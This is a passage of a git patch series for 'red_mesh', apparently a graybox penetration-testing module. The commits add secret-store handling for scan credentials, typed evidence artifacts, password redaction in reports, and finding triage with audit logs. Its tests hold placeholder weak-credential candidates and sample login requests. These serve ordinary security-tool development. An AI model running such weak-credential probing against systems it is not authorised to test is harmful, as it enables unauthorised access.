_build_plugin(self, jobs_dict): plugin.ee_addr = "launcher-node" plugin.ee_id = "launcher-alias" plugin.cfg_instance_id = "test-instance" + plugin.cfg_redmesh_secret_store_key = "unit-test-redmesh-secret-key" plugin.r1fs = MagicMock() plugin.chainstore_hgetall.return_value = dict(jobs_dict) @@ -2034,6 +2055,40 @@ def test_get_job_config_resolves_secret_ref_for_runtime(self): self.assertEqual(config["regular_password"], "pass") self.assertEqual(config["weak_candidates"], ["admin:admin"]) self.assertNotIn("secret_ref", config) + self.assertEqual( + plugin.r1fs.get_json.call_args_list[1], + unittest.mock.call("QmSecretCID", secret="unit-test-redmesh-secret-key"), + ) + + def test_get_job_config_resolves_legacy_plaintext_secret_ref_without_key(self): + """Legacy plaintext secret refs remain readable as a compatibility fallback.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin.cfg_redmesh_secret_store_key = "" + plugin.cfg_comms_host_key = "" + plugin.cfg_attestation_private_key = "" + plugin.r1fs.get_json.side_effect = [ + { + "scan_type": "webapp", + "target_url": "https://example.com/app", + "secret_ref": "QmSecretCID", + }, + { + "kind": "redmesh_graybox_credentials", + "payload": { + "official_username": "admin", + "official_password": "secret", + }, + }, + ] + + config = Plugin._get_job_config(plugin, {"job_config_cid": "QmConfigCID"}, resolve_secrets=True) + + self.assertEqual(config["official_password"], "secret") + self.assertEqual( + plugin.r1fs.get_json.call_args_list[1], + unittest.mock.call("QmSecretCID"), + ) def test_get_job_data_running_last_5(self): """Running job with 8 passes returns last 5 refs only.""" diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index e2f74422..c7a04e84 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -126,6 +126,20 @@ def test_artifact_repository_reads_and_writes_json(self): repo.put_json({"job_id": "job-1"}, show_logs=False) owner.r1fs.add_json.assert_called_once_with({"job_id": "job-1"}, show_logs=False) + def test_artifact_repository_passes_secret_for_protected_json(self): + owner = self._make_owner() + repo = ArtifactRepository(owner) + + repo.get_json("QmCID", secret="node-secret-key") + owner.r1fs.get_json.assert_called_once_with("QmCID", secret="node-secret-key") + + repo.put_json({"job_id": "job-1"}, show_logs=False, secret="node-secret-key") + owner.r1fs.add_json.assert_called_once_with( + {"job_id": "job-1"}, + show_logs=False, + secret="node-secret-key", + ) + def test_artifact_repository_job_config_helper(self): owner = self._make_owner() repo = ArtifactRepository(owner) From c98a92e569778212d6f7983fecd58ba5e4287b62 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 16:12:52 +0000 Subject: [PATCH 084/114] refactor: add redmesh typed evidence artifacts --- .../cybersec/red_mesh/graybox/findings.py | 57 ++++++++++++++++++- .../red_mesh/graybox/models/runtime.py | 1 + .../cybersec/red_mesh/graybox/probes/base.py | 8 ++- .../cybersec/red_mesh/graybox/worker.py | 6 +- .../cybersec/red_mesh/mixins/report.py | 35 +++++++++++- .../red_mesh/tests/test_graybox_finding.py | 28 ++++++++- .../red_mesh/tests/test_normalization.py | 47 +++++++++++++++ .../cybersec/red_mesh/tests/test_worker.py | 30 +++++++++- 8 files changed, 204 insertions(+), 8 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/findings.py b/extensions/business/cybersec/red_mesh/graybox/findings.py index 56758221..df4d46fb 100644 --- a/extensions/business/cybersec/red_mesh/graybox/findings.py +++ b/extensions/business/cybersec/red_mesh/graybox/findings.py @@ -13,6 +13,37 @@ from typing import Any +@dataclass(frozen=True) +class GrayboxEvidenceArtifact: + """Typed graybox evidence payload kept alongside legacy string summaries.""" + summary: str = "" + request_snapshot: str = "" + response_snapshot: str = "" + captured_at: str = "" + raw_evidence_cid: str = "" + sensitive: bool = False + + @classmethod + def from_value(cls, value: Any) -> "GrayboxEvidenceArtifact": + if isinstance(value, GrayboxEvidenceArtifact): + return value + if isinstance(value, dict): + return cls( + summary=value.get("summary", "") or "", + request_snapshot=value.get("request_snapshot", "") or "", + response_snapshot=value.get("response_snapshot", "") or "", + captured_at=value.get("captured_at", "") or "", + raw_evidence_cid=value.get("raw_evidence_cid", "") or "", + sensitive=bool(value.get("sensitive", False)), + ) + if isinstance(value, str): + return cls(summary=value) + return cls() + + def to_dict(self) -> dict[str, Any]: + return asdict(self) + + @dataclass(frozen=True) class GrayboxFinding: """ @@ -31,13 +62,32 @@ class GrayboxFinding: cwe: list[str] = field(default_factory=list) # e.g. ["CWE-639", "CWE-862"] attack: list[str] = field(default_factory=list) # MITRE ATT&CK IDs e.g. ["T1078"] evidence: list[str] = field(default_factory=list) # ["endpoint=http://...", "status=200"] + evidence_artifacts: list[GrayboxEvidenceArtifact | dict] = field(default_factory=list) replay_steps: list[str] = field(default_factory=list) # reproducibility steps remediation: str = "" error: str | None = None # non-None if probe had an error def to_dict(self) -> dict[str, Any]: """JSON-safe serialization.""" - return asdict(self) + payload = asdict(self) + payload["evidence_artifacts"] = [ + GrayboxEvidenceArtifact.from_value(item).to_dict() + for item in self.evidence_artifacts + ] + return payload + + def _normalized_evidence_artifacts(self) -> list[GrayboxEvidenceArtifact]: + return [GrayboxEvidenceArtifact.from_value(item) for item in self.evidence_artifacts] + + def _flat_evidence_summary(self) -> str: + evidence_lines = [line for line in self.evidence if isinstance(line, str) and line] + if evidence_lines: + return "; ".join(evidence_lines) + artifact_summaries = [ + artifact.summary for artifact in self._normalized_evidence_artifacts() + if artifact.summary + ] + return "; ".join(artifact_summaries) def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: """ @@ -70,7 +120,10 @@ def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: "description": f"Scenario {self.scenario_id}: {self.title}", "owasp_id": self.owasp, "cwe_id": cwe_joined, - "evidence": "; ".join(self.evidence), + "evidence": self._flat_evidence_summary(), + "evidence_artifacts": [ + artifact.to_dict() for artifact in self._normalized_evidence_artifacts() + ], "remediation": self.remediation, "confidence": confidence_map.get(self.status, "tentative"), "port": port, diff --git a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py index cddc40eb..469ad32a 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py @@ -109,6 +109,7 @@ def from_entry(cls, entry) -> "GrayboxProbeDefinition": @dataclass(frozen=True) class GrayboxProbeRunResult: findings: list[object] = field(default_factory=list) + artifacts: list[object] = field(default_factory=list) outcome: str = "completed" @classmethod diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/base.py b/extensions/business/cybersec/red_mesh/graybox/probes/base.py index 79337903..8e0fbd50 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/base.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/base.py @@ -64,9 +64,13 @@ def run_safe(self, probe_name, probe_fn): except Exception as exc: self._record_error(probe_name, self.safety.sanitize_error(str(exc))) - def build_result(self, outcome: str = "completed") -> GrayboxProbeRunResult: + def build_result(self, outcome: str = "completed", artifacts=None) -> GrayboxProbeRunResult: """Return a typed probe result without changing legacy run() contracts.""" - return GrayboxProbeRunResult(findings=list(self.findings), outcome=outcome) + return GrayboxProbeRunResult( + findings=list(self.findings), + artifacts=list(artifacts or []), + outcome=outcome, + ) def _record_error(self, probe_name, error_msg): """Store a non-fatal error as an INFO GrayboxFinding.""" diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index e8d36860..444d54b0 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -10,7 +10,7 @@ from ..worker.base import BaseLocalWorker from ..constants import GRAYBOX_PROBE_REGISTRY -from .findings import GrayboxFinding +from .findings import GrayboxEvidenceArtifact, GrayboxFinding from .auth import AuthManager from .discovery import DiscoveryModule from .safety import SafetyControls @@ -393,6 +393,10 @@ def _store_findings(self, key, findings): port_results = self.state["graybox_results"].setdefault(self._port_key, {}) port_results[key] = { "findings": [f.to_dict() for f in run_result.findings], + "artifacts": [ + GrayboxEvidenceArtifact.from_value(artifact).to_dict() + for artifact in run_result.artifacts + ], "outcome": run_result.outcome, } for finding in run_result.findings: diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index 191a0af5..db60db6d 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -269,6 +269,15 @@ def _redact_report(self, report): ] # Redact graybox_results credential evidence _CRED_RE = _re.compile(r'(\S+?):(\S+)') + _PASSWORD_RE = _re.compile(r'((?:password|passwd|pwd)["\']?\s*[:=]\s*)(["\']?)[^\s"\'&]+', _re.I) + + def _redact_graybox_text(value): + if not isinstance(value, str): + return value + value = _CRED_RE.sub(r'\1:***', value) + value = _PASSWORD_RE.sub(r'\1\2***', value) + return value + graybox_results = redacted.get("graybox_results", {}) for port_key, probes in graybox_results.items(): if not isinstance(probes, dict): @@ -282,9 +291,33 @@ def _redact_report(self, report): evidence = finding.get("evidence", []) if isinstance(evidence, list): finding["evidence"] = [ - _CRED_RE.sub(r'\1:***', e) if isinstance(e, str) else e + _redact_graybox_text(e) for e in evidence ] + artifacts = finding.get("evidence_artifacts", []) + if isinstance(artifacts, list): + finding["evidence_artifacts"] = [ + { + **artifact, + "summary": _redact_graybox_text(artifact.get("summary", "")), + "request_snapshot": _redact_graybox_text(artifact.get("request_snapshot", "")), + "response_snapshot": _redact_graybox_text(artifact.get("response_snapshot", "")), + } + if isinstance(artifact, dict) else artifact + for artifact in artifacts + ] + artifacts = probe_data.get("artifacts", []) + if isinstance(artifacts, list): + probe_data["artifacts"] = [ + { + **artifact, + "summary": _redact_graybox_text(artifact.get("summary", "")), + "request_snapshot": _redact_graybox_text(artifact.get("request_snapshot", "")), + "response_snapshot": _redact_graybox_text(artifact.get("response_snapshot", "")), + } + if isinstance(artifact, dict) else artifact + for artifact in artifacts + ] return redacted @staticmethod diff --git a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py index 3faed072..5f893d51 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py +++ b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py @@ -3,7 +3,7 @@ import json import unittest -from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxEvidenceArtifact, GrayboxFinding class TestGrayboxFinding(unittest.TestCase): @@ -125,6 +125,32 @@ def test_error_field(self): f2 = self._make_finding(error="Connection refused") self.assertEqual(f2.error, "Connection refused") + def test_evidence_artifacts_roundtrip(self): + """Typed evidence artifacts serialize as JSON-safe dicts.""" + artifact = GrayboxEvidenceArtifact( + summary="GET /api/records/2 -> 200", + request_snapshot="GET /api/records/2", + response_snapshot='{"owner":"bob"}', + captured_at="2026-03-13T02:30:00Z", + raw_evidence_cid="QmEvidenceCID", + ) + f = self._make_finding(evidence_artifacts=[artifact]) + + payload = f.to_dict() + + self.assertEqual(payload["evidence_artifacts"][0]["summary"], "GET /api/records/2 -> 200") + self.assertEqual(payload["evidence_artifacts"][0]["raw_evidence_cid"], "QmEvidenceCID") + + def test_flat_finding_uses_artifact_summary_when_evidence_strings_absent(self): + """Artifact summaries backfill the legacy flat evidence field.""" + artifact = GrayboxEvidenceArtifact(summary="GET /admin -> 403") + f = self._make_finding(evidence=[], evidence_artifacts=[artifact]) + + flat = f.to_flat_finding(port=443, protocol="https", probe_name="access_control") + + self.assertEqual(flat["evidence"], "GET /admin -> 403") + self.assertEqual(flat["evidence_artifacts"][0]["summary"], "GET /admin -> 403") + def test_frozen(self): """Finding is immutable.""" f = self._make_finding() diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py index 7bccb8b1..e7cc9eb5 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_normalization.py +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -270,6 +270,53 @@ class MockHost(_ReportMixin): self.assertEqual(service_creds, ["admin:***", "service-user:***"]) self.assertTrue(all("***" in item for item in graybox_evidence)) + def test_redaction_masks_graybox_evidence_artifacts(self): + """Typed graybox evidence artifacts are redacted alongside legacy evidence strings.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + + class MockHost(_ReportMixin): + pass + + host = MockHost() + report = { + "service_info": {}, + "graybox_results": { + "443": { + "_graybox_weak_auth": { + "findings": [ + { + "evidence": ["accepted=admin:password123"], + "evidence_artifacts": [ + { + "summary": "accepted=admin:password123", + "request_snapshot": "POST /login username=admin password=password123", + "response_snapshot": "accepted admin:password123", + }, + ], + }, + ], + "artifacts": [ + { + "summary": "candidate=admin:password123", + "request_snapshot": "POST /login password=password123", + "response_snapshot": "200 admin:password123", + }, + ], + }, + }, + }, + } + + redacted = host._redact_report(report) + finding = redacted["graybox_results"]["443"]["_graybox_weak_auth"]["findings"][0] + artifact = finding["evidence_artifacts"][0] + probe_artifact = redacted["graybox_results"]["443"]["_graybox_weak_auth"]["artifacts"][0] + + self.assertNotIn("password123", artifact["summary"]) + self.assertNotIn("password123", artifact["request_snapshot"]) + self.assertNotIn("password123", artifact["response_snapshot"]) + self.assertNotIn("password123", probe_artifact["summary"]) + class TestFindingCounting(unittest.TestCase): diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index 0ce64872..3be7b804 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -5,7 +5,7 @@ from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker -from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxEvidenceArtifact, GrayboxFinding from extensions.business.cybersec.red_mesh.graybox.models import ( DiscoveryResult, GrayboxCredentialSet, @@ -321,6 +321,34 @@ def test_store_findings_accepts_typed_probe_run_result(self): self.assertEqual(stored["outcome"], "completed") self.assertEqual(len(stored["findings"]), 1) + def test_store_findings_persists_typed_probe_artifacts(self): + worker = _make_worker() + finding = GrayboxFinding( + scenario_id="TEST-ART", + title="Artifact result", + status="inconclusive", + severity="INFO", + owasp="A01:2021", + ) + run_result = GrayboxProbeRunResult( + findings=[finding], + artifacts=[ + GrayboxEvidenceArtifact( + summary="GET /admin -> 403", + request_snapshot="GET /admin", + response_snapshot="403 Forbidden", + raw_evidence_cid="QmArtifact", + ), + ], + outcome="completed", + ) + + worker._store_findings("_typed_probe", run_result) + + stored = worker.state["graybox_results"]["8000"]["_typed_probe"] + self.assertEqual(stored["artifacts"][0]["summary"], "GET /admin -> 403") + self.assertEqual(stored["artifacts"][0]["raw_evidence_cid"], "QmArtifact") + def test_registered_probe_accepts_typed_probe_definition(self): worker = _make_worker() worker.auth.official_session = MagicMock() From 8f37bf9ebfc5d9623697ef789007fddf663ff195 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 16:16:44 +0000 Subject: [PATCH 085/114] refactor: normalize redmesh graybox finding contract --- .../cybersec/red_mesh/graybox/findings.py | 20 ++++++++++++++++++- .../business/cybersec/red_mesh/mixins/risk.py | 10 ++++------ .../red_mesh/tests/test_graybox_finding.py | 20 +++++++++++++++++++ .../red_mesh/tests/test_normalization.py | 17 ++++++++++++++++ 4 files changed, 60 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/findings.py b/extensions/business/cybersec/red_mesh/graybox/findings.py index df4d46fb..21f24c37 100644 --- a/extensions/business/cybersec/red_mesh/graybox/findings.py +++ b/extensions/business/cybersec/red_mesh/graybox/findings.py @@ -67,6 +67,18 @@ class GrayboxFinding: remediation: str = "" error: str | None = None # non-None if probe had an error + @classmethod + def from_dict(cls, payload: dict[str, Any]) -> "GrayboxFinding": + """Compatibility-safe constructor for persisted finding dicts.""" + if not isinstance(payload, dict): + raise TypeError("GrayboxFinding payload must be a dict") + data = {k: v for k, v in payload.items() if k in cls.__dataclass_fields__} + data["evidence_artifacts"] = [ + GrayboxEvidenceArtifact.from_value(item) + for item in data.get("evidence_artifacts", []) or [] + ] + return cls(**data) + def to_dict(self) -> dict[str, Any]: """JSON-safe serialization.""" payload = asdict(self) @@ -99,7 +111,8 @@ def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: import hashlib canon_title = self.title.lower().strip() cwe_joined = ", ".join(self.cwe) - id_input = f"{port}:{probe_name}:{cwe_joined}:{canon_title}" + cwe_canonical = ", ".join(sorted({item.strip() for item in self.cwe if isinstance(item, str) and item.strip()})) + id_input = f"{port}:{probe_name}:{cwe_canonical}:{canon_title}" finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] # Map status -> confidence and effective severity @@ -136,3 +149,8 @@ def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: "replay_steps": list(self.replay_steps), "attack_ids": list(self.attack), } + + @classmethod + def flat_from_dict(cls, payload: dict[str, Any], port: int, protocol: str, probe_name: str) -> dict[str, Any]: + """Normalize a persisted graybox finding dict into the flat report contract.""" + return cls.from_dict(payload).to_flat_finding(port, protocol, probe_name) diff --git a/extensions/business/cybersec/red_mesh/mixins/risk.py b/extensions/business/cybersec/red_mesh/mixins/risk.py index 62133226..630b8262 100644 --- a/extensions/business/cybersec/red_mesh/mixins/risk.py +++ b/extensions/business/cybersec/red_mesh/mixins/risk.py @@ -98,10 +98,9 @@ def process_findings(findings_list): if not isinstance(finding_dict, dict): continue try: - gf = _GF(**{k: v for k, v in finding_dict.items() if k in _GF.__dataclass_fields__}) - except (TypeError, KeyError): + flat = _GF.flat_from_dict(finding_dict, 0, "unknown", probe_name) + except (TypeError, KeyError, ValueError): continue - flat = gf.to_flat_finding(0, "unknown", probe_name) weight = RISK_SEVERITY_WEIGHTS.get(flat["severity"], 0) multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(flat["confidence"], 0.5) findings_score += weight * multiplier @@ -250,10 +249,9 @@ def parse_port(port_key): if not isinstance(finding_dict, dict): continue try: - gf = _GF(**{k: v for k, v in finding_dict.items() if k in _GF.__dataclass_fields__}) - except (TypeError, KeyError): + flat = _GF.flat_from_dict(finding_dict, port, protocol, probe_name) + except (TypeError, KeyError, ValueError): continue - flat = gf.to_flat_finding(port, protocol, probe_name) weight = RISK_SEVERITY_WEIGHTS.get(flat["severity"], 0) multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(flat["confidence"], 0.5) diff --git a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py index 5f893d51..13fa3968 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py +++ b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py @@ -88,6 +88,14 @@ def test_finding_id_deterministic(self): flat2 = f.to_flat_finding(port=443, protocol="https", probe_name="ac") self.assertEqual(flat1["finding_id"], flat2["finding_id"]) + def test_finding_id_stable_for_equivalent_cwe_order(self): + """Equivalent CWE sets produce the same finding_id regardless of list order.""" + f1 = self._make_finding(cwe=["CWE-639", "CWE-862"]) + f2 = self._make_finding(cwe=["CWE-862", "CWE-639"]) + flat1 = f1.to_flat_finding(port=443, protocol="https", probe_name="ac") + flat2 = f2.to_flat_finding(port=443, protocol="https", probe_name="ac") + self.assertEqual(flat1["finding_id"], flat2["finding_id"]) + def test_replay_steps_preserved(self): """Replay steps round-trip to flat finding.""" steps = ["Login as user A", "GET /api/records/2/"] @@ -151,6 +159,18 @@ def test_flat_finding_uses_artifact_summary_when_evidence_strings_absent(self): self.assertEqual(flat["evidence"], "GET /admin -> 403") self.assertEqual(flat["evidence_artifacts"][0]["summary"], "GET /admin -> 403") + def test_flat_from_dict_preserves_typed_evidence_artifacts(self): + """flat_from_dict is the canonical persisted-finding normalization path.""" + payload = self._make_finding( + evidence=[], + evidence_artifacts=[{"summary": "GET /admin -> 403", "raw_evidence_cid": "Qm1"}], + ).to_dict() + + flat = GrayboxFinding.flat_from_dict(payload, port=443, protocol="https", probe_name="access_control") + + self.assertEqual(flat["evidence"], "GET /admin -> 403") + self.assertEqual(flat["evidence_artifacts"][0]["raw_evidence_cid"], "Qm1") + def test_frozen(self): """Finding is immutable.""" f = self._make_finding() diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py index e7cc9eb5..a678c54c 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_normalization.py +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -122,6 +122,23 @@ def test_evidence_joined(self): _, flat_findings = host._compute_risk_and_findings(report) self.assertEqual(flat_findings[0]["evidence"], "a=1; b=2") + def test_typed_evidence_artifacts_survive_normalization(self): + """Graybox typed evidence artifacts survive into the flat finding contract.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Typed evidence", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + evidence=[], + evidence_artifacts=[{"summary": "GET /admin -> 403", "raw_evidence_cid": "QmEvidence"}], + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["evidence"], "GET /admin -> 403") + self.assertEqual(flat_findings[0]["evidence_artifacts"][0]["raw_evidence_cid"], "QmEvidence") + def test_cwe_joined(self): """List CWEs joined with ', '.""" finding = GrayboxFinding( From ff94e808ee486953f0e433e0f16e835af21e12b5 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 16:37:28 +0000 Subject: [PATCH 086/114] feat: add redmesh finding triage state --- .../cybersec/red_mesh/models/__init__.py | 8 + .../cybersec/red_mesh/models/triage.py | 70 +++++++++ .../cybersec/red_mesh/pentester_api_01.py | 28 ++++ .../cybersec/red_mesh/repositories/cstore.py | 101 +++++++++++- .../cybersec/red_mesh/services/__init__.py | 8 + .../cybersec/red_mesh/services/control.py | 1 + .../cybersec/red_mesh/services/query.py | 31 +--- .../cybersec/red_mesh/services/triage.py | 144 ++++++++++++++++++ .../cybersec/red_mesh/tests/test_api.py | 85 ++++++++++- .../red_mesh/tests/test_integration.py | 24 ++- .../red_mesh/tests/test_repositories.py | 20 +++ 11 files changed, 487 insertions(+), 33 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/models/triage.py create mode 100644 extensions/business/cybersec/red_mesh/services/triage.py diff --git a/extensions/business/cybersec/red_mesh/models/__init__.py b/extensions/business/cybersec/red_mesh/models/__init__.py index 5e51335c..9e3754ac 100644 --- a/extensions/business/cybersec/red_mesh/models/__init__.py +++ b/extensions/business/cybersec/red_mesh/models/__init__.py @@ -47,6 +47,11 @@ UiAggregate, JobArchive, ) +from extensions.business.cybersec.red_mesh.models.triage import ( + FindingTriageAuditEntry, + FindingTriageState, + VALID_TRIAGE_STATUSES, +) __all__ = [ # shared @@ -70,4 +75,7 @@ "PassReport", "UiAggregate", "JobArchive", + "FindingTriageState", + "FindingTriageAuditEntry", + "VALID_TRIAGE_STATUSES", ] diff --git a/extensions/business/cybersec/red_mesh/models/triage.py b/extensions/business/cybersec/red_mesh/models/triage.py new file mode 100644 index 00000000..ad137714 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/triage.py @@ -0,0 +1,70 @@ +from __future__ import annotations + +from dataclasses import dataclass, asdict + +from extensions.business.cybersec.red_mesh.models.shared import _strip_none + + +VALID_TRIAGE_STATUSES = frozenset({ + "open", + "accepted_risk", + "false_positive", + "remediated", + "reopened", +}) + + +@dataclass(frozen=True) +class FindingTriageState: + job_id: str + finding_id: str + status: str = "open" + note: str = "" + actor: str = "" + updated_at: float = 0.0 + review_at: float = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> "FindingTriageState": + status = d.get("status", "open") + if status not in VALID_TRIAGE_STATUSES: + raise ValueError(f"Unsupported triage status: {status}") + return cls( + job_id=d["job_id"], + finding_id=d["finding_id"], + status=status, + note=d.get("note", ""), + actor=d.get("actor", ""), + updated_at=float(d.get("updated_at", 0.0) or 0.0), + review_at=d.get("review_at"), + ) + + +@dataclass(frozen=True) +class FindingTriageAuditEntry: + job_id: str + finding_id: str + status: str + note: str = "" + actor: str = "" + timestamp: float = 0.0 + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> "FindingTriageAuditEntry": + status = d.get("status", "open") + if status not in VALID_TRIAGE_STATUSES: + raise ValueError(f"Unsupported triage status: {status}") + return cls( + job_id=d["job_id"], + finding_id=d["finding_id"], + status=status, + note=d.get("note", ""), + actor=d.get("actor", ""), + timestamp=float(d.get("timestamp", 0.0) or 0.0), + ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 550ed580..1cdf972a 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -74,6 +74,7 @@ build_webapp_workers, coerce_scan_type, get_job_archive, + get_job_triage, get_job_data, get_job_progress, get_scan_strategy, @@ -96,6 +97,7 @@ set_job_status, stop_and_delete_job, stop_monitoring, + update_finding_triage, validation_error, ) from .repositories import ArtifactRepository, JobStateRepository @@ -1695,6 +1697,32 @@ def get_job_archive(self, job_id: str): """Retrieve the full job archive from R1FS.""" return get_job_archive(self, job_id) + @BasePlugin.endpoint + def get_job_triage(self, job_id: str, finding_id: str = ""): + """Retrieve mutable analyst triage state for archived findings.""" + return get_job_triage(self, job_id, finding_id) + + @BasePlugin.endpoint + def update_finding_triage( + self, + job_id: str, + finding_id: str, + status: str, + note: str = "", + actor: str = "", + review_at: float = 0, + ): + """Update append-only analyst triage state for one archived finding.""" + return update_finding_triage( + self, + job_id=job_id, + finding_id=finding_id, + status=status, + note=note, + actor=actor, + review_at=review_at, + ) + @BasePlugin.endpoint def get_job_progress(self, job_id: str): """Real-time progress for all workers in a job.""" diff --git a/extensions/business/cybersec/red_mesh/repositories/cstore.py b/extensions/business/cybersec/red_mesh/repositories/cstore.py index aa7f24ba..71ea8ed8 100644 --- a/extensions/business/cybersec/red_mesh/repositories/cstore.py +++ b/extensions/business/cybersec/red_mesh/repositories/cstore.py @@ -1,4 +1,10 @@ -from ..models import CStoreJobFinalized, CStoreJobRunning, WorkerProgress +from ..models import ( + CStoreJobFinalized, + CStoreJobRunning, + FindingTriageAuditEntry, + FindingTriageState, + WorkerProgress, +) RUNNING_JOB_REQUIRED_FIELDS = { @@ -28,6 +34,14 @@ def _jobs_hkey(self): def _live_hkey(self): return f"{self.owner.cfg_instance_id}:live" + @property + def _triage_hkey(self): + return f"{self.owner.cfg_instance_id}:triage" + + @property + def _triage_audit_hkey(self): + return f"{self.owner.cfg_instance_id}:triage:audit" + def get_job(self, job_id): return self.owner.chainstore_hget(hkey=self._jobs_hkey, key=job_id) @@ -122,3 +136,88 @@ def put_live_progress_model(self, progress): def delete_live_progress(self, key): self.owner.chainstore_hset(hkey=self._live_hkey, key=key, value=None) return + + @staticmethod + def triage_key(job_id, finding_id): + return f"{job_id}:{finding_id}" + + def get_finding_triage(self, job_id, finding_id): + return self.owner.chainstore_hget( + hkey=self._triage_hkey, + key=self.triage_key(job_id, finding_id), + ) + + def get_finding_triage_model(self, job_id, finding_id): + payload = self.get_finding_triage(job_id, finding_id) + if not isinstance(payload, dict): + return None + return FindingTriageState.from_dict(payload) + + def list_job_triage(self, job_id): + payload = self.owner.chainstore_hgetall(hkey=self._triage_hkey) or {} + prefix = f"{job_id}:" + return { + key[len(prefix):]: value + for key, value in payload.items() + if isinstance(key, str) and key.startswith(prefix) and isinstance(value, dict) + } + + def list_job_triage_models(self, job_id): + return { + finding_id: FindingTriageState.from_dict(value) + for finding_id, value in self.list_job_triage(job_id).items() + } + + def put_finding_triage(self, triage): + if isinstance(triage, FindingTriageState): + payload = triage.to_dict() + else: + payload = FindingTriageState.from_dict(triage).to_dict() + self.owner.chainstore_hset( + hkey=self._triage_hkey, + key=self.triage_key(payload["job_id"], payload["finding_id"]), + value=payload, + ) + return payload + + def get_finding_triage_audit(self, job_id, finding_id): + payload = self.owner.chainstore_hget( + hkey=self._triage_audit_hkey, + key=self.triage_key(job_id, finding_id), + ) + return payload if isinstance(payload, list) else [] + + def list_job_triage_audit(self, job_id): + payload = self.owner.chainstore_hgetall(hkey=self._triage_audit_hkey) or {} + prefix = f"{job_id}:" + return { + key[len(prefix):]: value + for key, value in payload.items() + if isinstance(key, str) and key.startswith(prefix) and isinstance(value, list) + } + + def append_finding_triage_audit(self, entry): + if isinstance(entry, FindingTriageAuditEntry): + payload = entry.to_dict() + else: + payload = FindingTriageAuditEntry.from_dict(entry).to_dict() + key = self.triage_key(payload["job_id"], payload["finding_id"]) + audit_log = list(self.get_finding_triage_audit(payload["job_id"], payload["finding_id"])) + audit_log.append(payload) + self.owner.chainstore_hset(hkey=self._triage_audit_hkey, key=key, value=audit_log) + return audit_log + + def delete_job_triage(self, job_id): + for finding_id in list(self.list_job_triage(job_id)): + self.owner.chainstore_hset( + hkey=self._triage_hkey, + key=self.triage_key(job_id, finding_id), + value=None, + ) + for finding_id in list(self.list_job_triage_audit(job_id)): + self.owner.chainstore_hset( + hkey=self._triage_audit_hkey, + 